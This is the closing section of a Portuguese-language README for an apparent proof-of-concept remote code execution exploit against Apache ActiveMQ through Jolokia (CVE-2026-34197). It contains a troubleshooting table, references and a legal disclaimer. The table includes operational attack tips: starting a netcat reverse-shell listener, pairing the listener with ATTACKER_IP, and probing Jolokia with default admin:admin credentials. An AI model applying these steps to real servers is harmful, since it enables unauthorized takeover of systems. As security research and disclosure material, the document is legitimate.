| `Erro de conexão` / `Não foi possível conectar` | O alvo está fora do ar ou a porta está errada | Verifique se `http://TARGET:8161/` está acessível |
| `Jolokia status=500: could not be registered in JMX` | Conector de exploit anterior ainda registrado | O exploit tenta novamente automaticamente com um novo nome aleatório; tente de novo |
| Reverse shell não conecta de volta | IP diferente em `-l` vs comando shell, ou porta não está escutando | Garanta o mesmo IP em todos os lugares; inicie `nc -lvnp PORT` antes de explorar |
| `Nenhuma saída recebida em 10s` | O alvo não possui `curl` e `wget`, ou o comando não tem stdout | O RCE ainda funcionou — use um reverse shell para interação completa |
| Captura de saída mostra resultado vazio | O comando não produziu saída (ex.: `touch /tmp/test`) | Esperado para comandos sem stdout; use `ls /tmp/test` para verificar |
| `OSError: Address already in use` na porta 8888 | Outro processo ou execução anterior está usando a porta | Use `-lp 9999` (ou qualquer porta livre), ou mate o processo bloqueador |
| `version_check.py` Fase 1 está lenta | Poucas threads ou alta latência de rede | Aumente `--threads 20` ou `--threads 30` |
| `version_check.py` mostra `[VULNERABLE]` mas a Fase 2 falha | O alvo não consegue alcançar seu IP, ou o firewall bloqueia HTTP de saída | Verifique o ATTACKER_IP; tente `--wait 30` para redes lentas |
| `version_check.py` mostra `No Jolokia` para todos os alvos | A API Jolokia está desabilitada ou em um caminho não padrão | Verifique manualmente com `curl -u admin:admin http://TARGET:8161/api/jolokia/` |
---
## Referências
| Recurso | Link |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [Análise Técnica](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Aviso Apache | [Aviso de Segurança](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| CVE Relacionado | [CVE-2024-32114 — Jolokia No Auth](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| CVE Relacionado | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## Aviso Legal
> [!WARNING]
> Esta prova de conceito é fornecida **estritamente para fins educacionais e de pesquisa de segurança autorizada**. O uso não autorizado desta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é **ilegal**. O autor não assume nenhuma responsabilidade por uso indevido.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>Desenvolvido com expertise por <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>Licença MIT © 2026</sub>
</p>